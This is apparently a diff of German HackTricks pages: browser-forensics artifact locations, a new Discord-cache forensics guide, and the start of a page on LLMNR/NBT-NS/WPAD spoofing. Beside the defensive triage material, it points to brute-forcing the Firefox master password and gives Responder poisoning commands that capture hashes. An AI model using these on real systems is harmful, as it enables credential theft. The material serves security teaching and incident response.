+- **Cache**: Speichert Webinhalte (z. B. Bilder, JavaScript-Dateien), um Ladezeiten von Websites zu verbessern; wertvoll für die forensische Analyse.
 - **Logins**: Gespeicherte Anmeldeinformationen.
- **Favicons**: Icons, die mit Websites verbunden sind und in Tabs und Lesezeichen erscheinen, nützlich für zusätzliche Informationen zu Benutzerbesuchen.
- **Browser-Sitzungen**: Daten zu offenen Browsersitzungen.
- **Downloads**: Aufzeichnungen von über den Browser heruntergeladenen Dateien.
- **Formulardaten**: Informationen, die in Webformularen eingegeben werden, gespeichert für zukünftige Autofill-Vorschläge.
- **Thumbnails**: Vorschau-Bilder von Websites.
- **Custom Dictionary.txt**: Vom Benutzer zum Wörterbuch des Browsers hinzugefügte Wörter.
+- **Favicons**: Mit Websites verknüpfte Symbole, die in Tabs und Lesezeichen erscheinen; nützlich für zusätzliche Hinweise auf Benutzerbesuche.
+- **Browser Sessions**: Daten zu geöffneten Browser-Sitzungen.
+- **Downloads**: Aufzeichnungen über Dateien, die über den Browser heruntergeladen wurden.
+- **Form Data**: In Webformulare eingegebene Informationen, die für zukünftige Autovervollständigungs-Vorschläge gespeichert wurden.
+- **Thumbnails**: Vorschaubilder von Websites.
+- **Custom Dictionary.txt**: Vom Benutzer dem Browser-Wörterbuch hinzugefügte Wörter.

 ## Firefox

-Firefox organisiert Benutzerdaten innerhalb von Profilen, die an spezifischen Orten basierend auf dem Betriebssystem gespeichert sind:
+Firefox organisiert Benutzerdaten innerhalb von Profilen, die je nach Betriebssystem an bestimmten Orten gespeichert sind:

 - **Linux**: `~/.mozilla/firefox/`
 - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
 - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`

-Eine `profiles.ini`-Datei innerhalb dieser Verzeichnisse listet die Benutzerprofile auf. Die Daten jedes Profils werden in einem Ordner gespeichert, der im `Path`-Variablen innerhalb von `profiles.ini` benannt ist, der sich im selben Verzeichnis wie `profiles.ini` selbst befindet. Wenn der Ordner eines Profils fehlt, könnte er gelöscht worden sein.
+Eine `profiles.ini`-Datei in diesen Verzeichnissen listet die Benutzerprofile auf. Die Daten jedes Profils werden in einem Ordner gespeichert, dessen Name im `Path`-Wert in `profiles.ini` angegeben ist und sich im selben Verzeichnis wie `profiles.ini` befindet. Wenn der Profilordner fehlt, wurde er möglicherweise gelöscht.

-Innerhalb jedes Profilordners finden Sie mehrere wichtige Dateien:
+Innerhalb jedes Profilordners finden sich mehrere wichtige Dateien:

- **places.sqlite**: Speichert Verlauf, Lesezeichen und Downloads. Tools wie [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) auf Windows können auf die Verlaufsdaten zugreifen.
- Verwenden Sie spezifische SQL-Abfragen, um Verlauf und Downloadinformationen zu extrahieren.
- **bookmarkbackups**: Enthält Backups von Lesezeichen.
- **formhistory.sqlite**: Speichert Webformulardaten.
- **handlers.json**: Verwaltet Protokollhandler.
- **persdict.dat**: Benutzerdefinierte Wörter im Wörterbuch.
+- **places.sqlite**: Speichert Verlauf, Lesezeichen und Downloads. Tools wie [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) unter Windows können auf die Verlaufsdaten zugreifen.
+- Spezielle SQL-Abfragen können verwendet werden, um Verlaufs- und Downloadinformationen zu extrahieren.
+- **bookmarkbackups**: Enthält Sicherungen der Lesezeichen.
+- **formhistory.sqlite**: Speichert Formulardaten.
+- **handlers.json**: Verwaltet Protokoll-Handler.
+- **persdict.dat**: Benutzerdefinierte Wörterbuchwörter.
 - **addons.json** und **extensions.sqlite**: Informationen zu installierten Add-ons und Erweiterungen.
- **cookies.sqlite**: Cookie-Speicher, mit [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) verfügbar zur Inspektion auf Windows.
+- **cookies.sqlite**: Cookie-Speicher; zur Inspektion unter Windows steht [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) zur Verfügung.
 - **cache2/entries** oder **startupCache**: Cache-Daten, zugänglich über Tools wie [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
 - **favicons.sqlite**: Speichert Favicons.
- **prefs.js**: Benutzereinstellungen und -präferenzen.
- **downloads.sqlite**: Ältere Download-Datenbank, jetzt in places.sqlite integriert.
- **thumbnails**: Website-Thumbnails.
+- **prefs.js**: Benutzereinstellungen und Präferenzen.
+- **downloads.sqlite**: Älteres Download-Datenbankformat, inzwischen in places.sqlite integriert.
+- **thumbnails**: Website-Vorschaubilder.
 - **logins.json**: Verschlüsselte Anmeldeinformationen.
 - **key4.db** oder **key3.db**: Speichert Verschlüsselungsschlüssel zum Schutz sensibler Informationen.

-Zusätzlich kann die Überprüfung der Anti-Phishing-Einstellungen des Browsers erfolgen, indem nach `browser.safebrowsing`-Einträgen in `prefs.js` gesucht wird, die anzeigen, ob die Funktionen für sicheres Browsen aktiviert oder deaktiviert sind.
+Zusätzlich kann die Antivirus-/Anti-Phishing-Konfiguration des Browsers überprüft werden, indem nach `browser.safebrowsing`-Einträgen in `prefs.js` gesucht wird, was anzeigt, ob Safe-Browsing-Funktionen aktiviert oder deaktiviert sind.

-Um das Master-Passwort zu entschlüsseln, können Sie [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt) verwenden.\
-Mit dem folgenden Skript und Aufruf können Sie eine Passwortdatei zum Brute-Forcen angeben:
+Um zu versuchen, das Master-Passwort zu entschlüsseln, können Sie [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\  
+Mit dem folgenden Skript und Aufruf können Sie eine Passwortdatei zum Brute-Force-Angriff angeben:
 ```bash:brute.sh
 #!/bin/bash

@ -67,96 +67,103 @@ done < $passfile

 ## Google Chrome

-Google Chrome speichert Benutzerprofile an spezifischen Orten, abhängig vom Betriebssystem:
+Google Chrome speichert Benutzerprofile an betriebssystemspezifischen Orten:

 - **Linux**: `~/.config/google-chrome/`
 - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
 - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`

-Innerhalb dieser Verzeichnisse sind die meisten Benutzerdaten in den Ordnern **Default/** oder **ChromeDefaultData/** zu finden. Die folgenden Dateien enthalten bedeutende Daten:
+Innerhalb dieser Verzeichnisse finden sich die meisten Benutzerdaten in den Ordnern **Default/** oder **ChromeDefaultData/**. Die folgenden Dateien enthalten wichtige Daten:

- **History**: Enthält URLs, Downloads und Suchbegriffe. Unter Windows kann [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) verwendet werden, um die Historie zu lesen. Die Spalte "Transition Type" hat verschiedene Bedeutungen, einschließlich Benutzerklicks auf Links, eingegebene URLs, Formularübermittlungen und Seitenaktualisierungen.
+- **History**: Enthält URLs, Downloads und Suchbegriffe. Unter Windows kann [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) zum Auslesen des Verlaufs verwendet werden. Die Spalte "Transition Type" hat verschiedene Bedeutungen, einschließlich Benutzerklicks auf Links, eingegebene URLs, Formularübermittlungen und Seitenneuladungen.
 - **Cookies**: Speichert Cookies. Zur Inspektion steht [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) zur Verfügung.
- **Cache**: Hält zwischengespeicherte Daten. Zur Inspektion können Windows-Benutzer [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) nutzen.
+- **Cache**: Enthält zwischengespeicherte Daten. Zur Untersuchung können Windows-Nutzer [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html) verwenden.
+
+Electron-basierte Desktop-Apps (z. B. Discord) verwenden ebenfalls Chromium Simple Cache und hinterlassen reichhaltige On-Disk-Artefakte. Siehe:
+
+{{#ref}}
+discord-cache-forensics.md
+{{#endref}}
 - **Bookmarks**: Benutzer-Lesezeichen.
- **Web Data**: Enthält Formularhistorie.
+- **Web Data**: Enthält Formularverläufe.
 - **Favicons**: Speichert Website-Favicons.
- **Login Data**: Enthält Anmeldeinformationen wie Benutzernamen und Passwörter.
- **Current Session**/**Current Tabs**: Daten über die aktuelle Browsersitzung und offene Tabs.
- **Last Session**/**Last Tabs**: Informationen über die während der letzten Sitzung aktiven Seiten, bevor Chrome geschlossen wurde.
- **Extensions**: Verzeichnisse für Browsererweiterungen und Add-ons.
+- **Login Data**: Beinhaltet Anmeldeinformationen wie Benutzernamen und Passwörter.
+- **Current Session**/**Current Tabs**: Daten zur aktuellen Browsersitzung und geöffneten Tabs.
+- **Last Session**/**Last Tabs**: Informationen zu den Seiten, die während der letzten Sitzung aktiv waren, bevor Chrome geschlossen wurde.
+- **Extensions**: Verzeichnisse für Browser-Erweiterungen und Addons.
 - **Thumbnails**: Speichert Website-Thumbnails.
- **Preferences**: Eine informationsreiche Datei, die Einstellungen für Plugins, Erweiterungen, Pop-ups, Benachrichtigungen und mehr enthält.
- **Browser’s built-in anti-phishing**: Um zu überprüfen, ob der Anti-Phishing- und Malware-Schutz aktiviert ist, führen Sie `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` aus. Suchen Sie nach `{"enabled: true,"}` in der Ausgabe.
+- **Preferences**: Eine Datei mit vielen Informationen, einschließlich Einstellungen für Plugins, Erweiterungen, Pop-ups, Benachrichtigungen und mehr.
+- **Browser’s built-in anti-phishing**: Um zu prüfen, ob Anti-Phishing und Malware-Schutz aktiviert sind, führe `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences` aus. Suche in der Ausgabe nach `{"enabled: true,"}`.

-## **SQLite DB Datenwiederherstellung**
+## **SQLite DB Data Recovery**

-Wie in den vorherigen Abschnitten zu beobachten ist, verwenden sowohl Chrome als auch Firefox **SQLite**-Datenbanken zur Speicherung der Daten. Es ist möglich, **gelöschte Einträge mit dem Tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **oder** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **wiederherzustellen**.
+Wie in den vorherigen Abschnitten zu sehen ist, verwenden sowohl Chrome als auch Firefox **SQLite**-Datenbanken zur Speicherung der Daten. Es ist möglich, **gelöschte Einträge mit dem Tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **oder** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **wiederherzustellen**.

 ## **Internet Explorer 11**

-Internet Explorer 11 verwaltet seine Daten und Metadaten an verschiedenen Orten, um die gespeicherten Informationen und deren entsprechende Details für einen einfachen Zugriff und eine einfache Verwaltung zu trennen.
+Internet Explorer 11 verwaltet seine Daten und Metadaten an verschiedenen Speicherorten, was dabei hilft, gespeicherte Informationen und die zugehörigen Details getrennt zu halten, um einfachen Zugriff und Management zu ermöglichen.

-### Metadatenspeicherung
+### Metadata Storage

-Metadaten für Internet Explorer werden in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` gespeichert (wobei VX V01, V16 oder V24 sein kann). Begleitend dazu könnte die Datei `V01.log` Zeitabweichungen mit `WebcacheVX.data` anzeigen, was auf einen Reparaturbedarf mit `esentutl /r V01 /d` hinweist. Diese Metadaten, die in einer ESE-Datenbank gespeichert sind, können mit Tools wie photorec und [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) wiederhergestellt und inspiziert werden. Innerhalb der **Containers**-Tabelle kann man die spezifischen Tabellen oder Container erkennen, in denen jedes Datensegment gespeichert ist, einschließlich Cache-Details für andere Microsoft-Tools wie Skype.
+Metadaten für Internet Explorer werden in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` gespeichert (wobei VX V01, V16 oder V24 sein kann). Begleitend dazu kann die Datei `V01.log` Zeitabweichungen gegenüber `WebcacheVX.data` aufweisen, was auf eine notwendige Reparatur mit `esentutl /r V01 /d` hinweist. Diese Metadaten, untergebracht in einer ESE-Datenbank, können mit Tools wie photorec wiederhergestellt und mit [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) untersucht werden. Innerhalb der **Containers**-Tabelle kann man die spezifischen Tabellen oder Container erkennen, in denen jeder Datenabschnitt gespeichert ist, einschließlich Cache-Details für andere Microsoft-Tools wie Skype.

-### Cache-Inspektion
+### Cache Inspection

-Das Tool [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) ermöglicht die Inspektion des Caches und erfordert den Speicherort des Ordners zur Extraktion der Cache-Daten. Die Metadaten für den Cache umfassen Dateinamen, Verzeichnis, Zugriffsanzahl, URL-Ursprung und Zeitstempel, die die Erstellung, den Zugriff, die Modifikation und die Ablaufzeiten des Caches anzeigen.
+Das Tool [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) ermöglicht die Untersuchung des Caches und benötigt den Speicherort des extrahierten Cache-Ordners. Metadaten für den Cache umfassen Dateiname, Verzeichnis, Zugriffsanzahl, Ursprungs-URL und Zeitstempel, die die Erstellung, den Zugriff, die Änderung und das Ablaufdatum des Caches anzeigen.

-### Cookie-Verwaltung
+### Cookies Management

-Cookies können mit [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) erkundet werden, wobei die Metadaten Namen, URLs, Zugriffsanzahl und verschiedene zeitbezogene Details umfassen. Persistente Cookies werden in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` gespeichert, während Sitzungscookies im Speicher verbleiben.
+Cookies können mit [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) untersucht werden; die Metadaten umfassen Namen, URLs, Zugriffsanzahlen und verschiedene zeitbezogene Details. Persistente Cookies werden in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` gespeichert, während Session-Cookies im Arbeitsspeicher liegen.

-### Download-Details
+### Download Details

-Metadaten zu Downloads sind über [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) zugänglich, wobei spezifische Container Daten wie URL, Dateityp und Downloadort enthalten. Physische Dateien sind unter `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` zu finden.
+Metadaten zu Downloads sind über [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) zugänglich; bestimmte Container enthalten Daten wie URL, Dateityp und Download-Speicherort. Physische Dateien finden sich unter `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.

-### Browserverlauf
+### Browsing History

-Um den Browserverlauf zu überprüfen, kann [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) verwendet werden, wobei der Speicherort der extrahierten Verlaufsdateien und die Konfiguration für Internet Explorer erforderlich sind. Die Metadaten hier umfassen Änderungs- und Zugriffszeiten sowie Zugriffsanzahlen. Verlaufsdateien befinden sich in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+Zur Überprüfung des Browserverlaufs kann [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) verwendet werden; es benötigt den Speicherort der extrahierten Historien-Dateien und die Konfiguration für Internet Explorer. Metadaten hier umfassen Änderungs- und Zugriffszeiten sowie Zugriffsanzahlen. History-Dateien befinden sich in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.

-### Eingetippte URLs
+### Typed URLs

-Eingetippte URLs und deren Nutzungszeiten werden im Registrierungseditor unter `NTUSER.DAT` bei `Software\Microsoft\InternetExplorer\TypedURLs` und `Software\Microsoft\InternetExplorer\TypedURLsTime` gespeichert, wobei die letzten 50 vom Benutzer eingegebenen URLs und deren letzte Eingabezeiten verfolgt werden.
+Eingegebene URLs und deren Nutzungszeiten werden in der Registry unter `NTUSER.DAT` an den Schlüsseln `Software\Microsoft\InternetExplorer\TypedURLs` und `Software\Microsoft\InternetExplorer\TypedURLsTime` gespeichert und verfolgen die letzten 50 vom Benutzer eingegebenen URLs sowie deren letzte Eingabezeiten.

 ## Microsoft Edge

 Microsoft Edge speichert Benutzerdaten in `%userprofile%\Appdata\Local\Packages`. Die Pfade für verschiedene Datentypen sind:

- **Profilpfad**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Verlauf, Cookies und Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Einstellungen, Lesezeichen und Leseliste**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
+- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
+- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
+- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
 - **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Letzte aktive Sitzungen**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
+- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`

 ## Safari

-Safari-Daten werden unter `/Users/$User/Library/Safari` gespeichert. Wichtige Dateien sind:
+Safari-Daten werden unter `/Users/$User/Library/Safari` gespeichert. Wichtige Dateien umfassen:

- **History.db**: Enthält die Tabellen `history_visits` und `history_items` mit URLs und Besuchszeitstempeln. Verwenden Sie `sqlite3`, um Abfragen durchzuführen.
+- **History.db**: Enthält die Tabellen `history_visits` und `history_items` mit URLs und Besuchszeitstempeln. Verwende `sqlite3` zum Abfragen.
 - **Downloads.plist**: Informationen über heruntergeladene Dateien.
- **Bookmarks.plist**: Speichert die Lesezeichen-URLs.
+- **Bookmarks.plist**: Speichert Lesezeichen-URLs.
 - **TopSites.plist**: Am häufigsten besuchte Seiten.
- **Extensions.plist**: Liste der Safari-Browsererweiterungen. Verwenden Sie `plutil` oder `pluginkit`, um sie abzurufen.
- **UserNotificationPermissions.plist**: Domains, die Benachrichtigungen senden dürfen. Verwenden Sie `plutil`, um sie zu parsen.
- **LastSession.plist**: Tabs aus der letzten Sitzung. Verwenden Sie `plutil`, um sie zu parsen.
- **Browser’s built-in anti-phishing**: Überprüfen Sie mit `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Eine Antwort von 1 zeigt an, dass die Funktion aktiv ist.
+- **Extensions.plist**: Liste der Safari-Browsererweiterungen. Verwende `plutil` oder `pluginkit`, um sie abzurufen.
+- **UserNotificationPermissions.plist**: Domains, die Benachrichtigungen senden dürfen. Verwende `plutil` zum Parsen.
+- **LastSession.plist**: Tabs aus der letzten Sitzung. Verwende `plutil` zum Parsen.
+- **Browser’s built-in anti-phishing**: Prüfe mit `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Eine Antwort von 1 zeigt an, dass die Funktion aktiv ist.

 ## Opera

-Die Daten von Opera befinden sich in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` und verwenden das gleiche Format wie Chrome für Verlauf und Downloads.
+Operas Daten liegen in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` und folgen dem Format von Chrome für Verlauf und Downloads.

- **Browser’s built-in anti-phishing**: Überprüfen Sie, ob `fraud_protection_enabled` in der Preferences-Datei auf `true` gesetzt ist, indem Sie `grep` verwenden.
+- **Browser’s built-in anti-phishing**: Überprüfe, ob `fraud_protection_enabled` in der Preferences-Datei mit `grep` auf `true` gesetzt ist.

-Diese Pfade und Befehle sind entscheidend für den Zugriff auf und das Verständnis der von verschiedenen Webbrowsern gespeicherten Browsing-Daten.
+Diese Pfade und Befehle sind entscheidend, um auf die von verschiedenen Webbrowsern gespeicherten Browsing-Daten zuzugreifen und sie zu verstehen.

 ## References

 - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
 - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
 - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Buch: OS X Incident Response: Scripting and Analysis von Jaron Bradley, Seite 123**
+- **Buch: OS X Incident Response: Scripting and Analysis von Jaron Bradley S. 123**
+

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
@ -0,0 +1,89 @@
+# Discord-Cache-Forensik (Chromium Simple Cache)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Diese Seite fasst zusammen, wie man den Cache-Ordner der Discord Desktop-App triagiert, um exfiltrierte Dateien, Webhook-Endpunkte und Aktivitäts-Timelines wiederherzustellen. Discord Desktop ist eine Electron/Chromium-App und verwendet Chromium Simple Cache auf der Festplatte.
+
+## Where to look (Windows/macOS/Linux)
+
+- Windows: %AppData%\discord\Cache\Cache_Data
+- macOS: ~/Library/Application Support/discord/Cache/Cache_Data
+- Linux: ~/.config/discord/Cache/Cache_Data
+
+Wichtige On‑Disk-Strukturen innerhalb von Cache_Data:
+- index: Simple Cache index database
+- data_#: Binäre Cache-Blockdateien, die mehrere gecachte Objekte enthalten können
+- f_######: Einzelne gecachte Einträge, als einzelne Dateien gespeichert (oft größere Inhalte)
+
+Hinweis: Das Löschen von Nachrichten/Channels/Servern in Discord entfernt diesen lokalen Cache nicht. Gepufferte Elemente bleiben häufig erhalten und ihre Dateizeitstempel korrelieren mit Benutzeraktivität, wodurch eine Timeline-Rekonstruktion möglich ist.
+
+## What can be recovered
+
+- Exfiltrierte Attachments und Thumbnails, die über cdn.discordapp.com/media.discordapp.net abgerufen wurden
+- Bilder, GIFs, Videos (z. B. .jpg, .png, .gif, .webp, .mp4, .webm)
+- Webhook URLs (https://discord.com/api/webhooks/…)
+- Discord API-Aufrufe (https://discord.com/api/vX/…)
+- Nützlich zur Korrelation von Beaconing-/Exfil-Aktivität und zum Hashing von Medien für Intel-Abgleiche
+
+## Quick triage (manual)
+
+- Cache mit grep nach hochrelevanten Artefakten durchsuchen:
+- Webhook endpoints:
+- Windows: findstr /S /I /C:"https://discord.com/api/webhooks/" "%AppData%\discord\Cache\Cache_Data\*"
+- Linux/macOS: strings -a Cache_Data/* | grep -i "https://discord.com/api/webhooks/"
+- Attachment/CDN-URLs:
+- strings -a Cache_Data/* | grep -Ei "https://(cdn|media)\.discord(app)?\.com/attachments/"
+- Discord API-Aufrufe:
+- strings -a Cache_Data/* | grep -Ei "https://discord(app)?\.com/api/v[0-9]+/"
+- Sortiere gecachte Einträge nach Änderungszeit, um eine schnelle Timeline zu erstellen (mtime spiegelt wider, wann das Objekt in den Cache geschrieben wurde):
+- Windows PowerShell: Get-ChildItem "$env:AppData\discord\Cache\Cache_Data" -File -Recurse | Sort-Object LastWriteTime | Select-Object LastWriteTime, FullName
+
+## Parsing f_* entries (HTTP body + headers)
+
+Dateien, die mit f_ beginnen, enthalten HTTP-Response-Header gefolgt vom Body. Der Header-Block endet typischerweise mit \r\n\r\n. Nützliche Response-Header sind:
+- Content-Type: Zur Ableitung des Medientyps
+- Content-Location oder X-Original-URL: Originale Remote-URL zur Vorschau/Korrelation
+- Content-Encoding: Kann gzip/deflate/br (Brotli) sein
+
+Medien können extrahiert werden, indem Header und Body getrennt werden und ggf. entsprechend Content-Encoding dekomprimiert wird. Magic-Byte-Sniffing ist hilfreich, wenn Content-Type fehlt.
+
+## Automated DFIR: Discord Forensic Suite (CLI/GUI)
+
+- Repo: https://github.com/jwdfir/discord_cache_parser
+- Funktion: Scannt rekursiv den Discord-Cache-Ordner, findet Webhook-/API-/Attachment-URLs, parst f_* Bodies, kann Medien carven und liefert HTML- + CSV-Timeline-Reports mit SHA‑256-Hashes.
+
+Example CLI usage:
+```bash
+# Acquire cache (copy directory for offline parsing), then run:
+python3 discord_forensic_suite_cli \
+--cache "%AppData%\discord\Cache\Cache_Data" \
+--outdir C:\IR\discord-cache \
+--output discord_cache_report \
+--format both \
+--timeline \
+--extra \
+--carve \
+--verbose
+```
+Wichtige Optionen:
+- --cache: Pfad zu Cache_Data
+- --format html|csv|both
+- --timeline: Gibt eine geordnete CSV-Timeline aus (nach modified time (mtime))
+- --extra: Scannt außerdem benachbarte Caches (Code Cache und GPUCache)
+- --carve: Carve media from raw bytes near regex hits (images/video)
+- Output: HTML report, CSV report, CSV timeline, and a media folder with carved/extracted files
+
+## Analystentipps
+
+- Korrelieren Sie die modified time (mtime) von f_* und data_* Dateien mit den Aktivitätsfenstern von Benutzer/Angreifer, um eine Timeline zu rekonstruieren.
+- Berechnen Sie SHA-256-Hashes der wiederhergestellten Medien und vergleichen Sie diese mit known-bad- oder exfil-Datensätzen.
+- Extrahierte Webhook-URLs können auf Erreichbarkeit getestet oder erneuert werden; erwägen Sie, sie zu Blocklisten und retro-hunting Proxys hinzuzufügen.
+- Der Cache bleibt nach “wiping” auf der Serverseite bestehen. Falls eine Akquisition möglich ist, erfassen Sie das gesamte Cache-Verzeichnis und die zugehörigen Sibling-Caches (Code Cache, GPUCache).
+
+## Referenzen
+
+- [Discord as a C2 and the cached evidence left behind](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
+- [Discord Forensic Suite (CLI/GUI)](https://github.com/jwdfir/discord_cache_parser)
+- [Discord Webhooks – Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -1,56 +1,56 @@
-# Spoofing LLMNR, NBT-NS, mDNS/DNS und WPAD und Relay-Angriffe
+# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

 {{#include ../../banners/hacktricks-training.md}}

-## Netzwerkprotokolle
+## Network Protocols

-### Lokale Hostauflösungsprotokolle
+### Local Host Resolution Protocols

- **LLMNR, NBT-NS und mDNS**:
- Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS zur lokalen Namensauflösung, wenn DNS fehlschlägt. Ähnlich verwenden Apple- und Linux-Systeme mDNS.
- Diese Protokolle sind aufgrund ihrer nicht authentifizierten, broadcast-natur über UDP anfällig für Abfangen und Spoofing.
- [Responder](https://github.com/lgandx/Responder) kann verwendet werden, um Dienste zu impersonifizieren, indem gefälschte Antworten an Hosts gesendet werden, die diese Protokolle abfragen.
- Weitere Informationen zur Dienstimpersonifizierung mit Responder finden Sie [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
+- **LLMNR, NBT-NS, and mDNS**:
+- Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS für die lokale Namensauflösung, wenn DNS fehlschlägt. Ebenso nutzen Apple- und Linux-Systeme mDNS.
+- Diese Protokolle sind anfällig für Abfangen und Spoofing, da sie unauthentifiziert und broadcast-basiert über UDP arbeiten.
+- [Responder](https://github.com/lgandx/Responder) kann verwendet werden, um Dienste zu imitieren, indem gefälschte Antworten an Hosts gesendet werden, die diese Protokolle abfragen.
+- Weiterführende Informationen zur Service-Imitation mit Responder finden sich [here](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

 ### Web Proxy Auto-Discovery Protocol (WPAD)

 - WPAD ermöglicht es Browsern, Proxy-Einstellungen automatisch zu entdecken.
- Die Entdeckung erfolgt über DHCP, DNS oder Rückfall auf LLMNR und NBT-NS, wenn DNS fehlschlägt.
- Responder kann WPAD-Angriffe automatisieren und Clients zu bösartigen WPAD-Servern leiten.
+- Die Erkennung erfolgt über DHCP, DNS oder als Fallback über LLMNR und NBT-NS, wenn DNS fehlschlägt.
+- Responder kann WPAD-Angriffe automatisieren und Clients auf bösartige WPAD-Server umleiten.

-### Responder für Protokollvergiftung
+### Responder for Protocol Poisoning

- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, indem es selektiv basierend auf Abfragetypen antwortet, wobei hauptsächlich SMB-Dienste im Fokus stehen.
- Es ist vorinstalliert in Kali Linux und konfigurierbar unter `/etc/responder/Responder.conf`.
- Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis `/usr/share/responder/logs`.
+- **Responder** ist ein Tool zum Vergiften von LLMNR-, NBT-NS- und mDNS-Anfragen, das selektiv je nach Abfragetyp antwortet und primär SMB-Dienste ins Visier nimmt.
+- Es ist in Kali Linux vorinstalliert und konfigurierbar in /etc/responder/Responder.conf.
+- Responder zeigt gefangene Hashes auf dem Bildschirm an und speichert sie im Verzeichnis /usr/share/responder/logs.
 - Es unterstützt sowohl IPv4 als auch IPv6.
- Die Windows-Version von Responder ist [hier](https://github.com/lgandx/Responder-Windows) verfügbar.
+- Eine Windows-Version von Responder ist verfügbar [here](https://github.com/lgandx/Responder-Windows).

-#### Ausführen von Responder
+#### Running Responder

- Um Responder mit den Standardeinstellungen auszuführen: `responder -I <Interface>`
- Für aggressiveres Scannen (mit potenziellen Nebenwirkungen): `responder -I <Interface> -P -r -v`
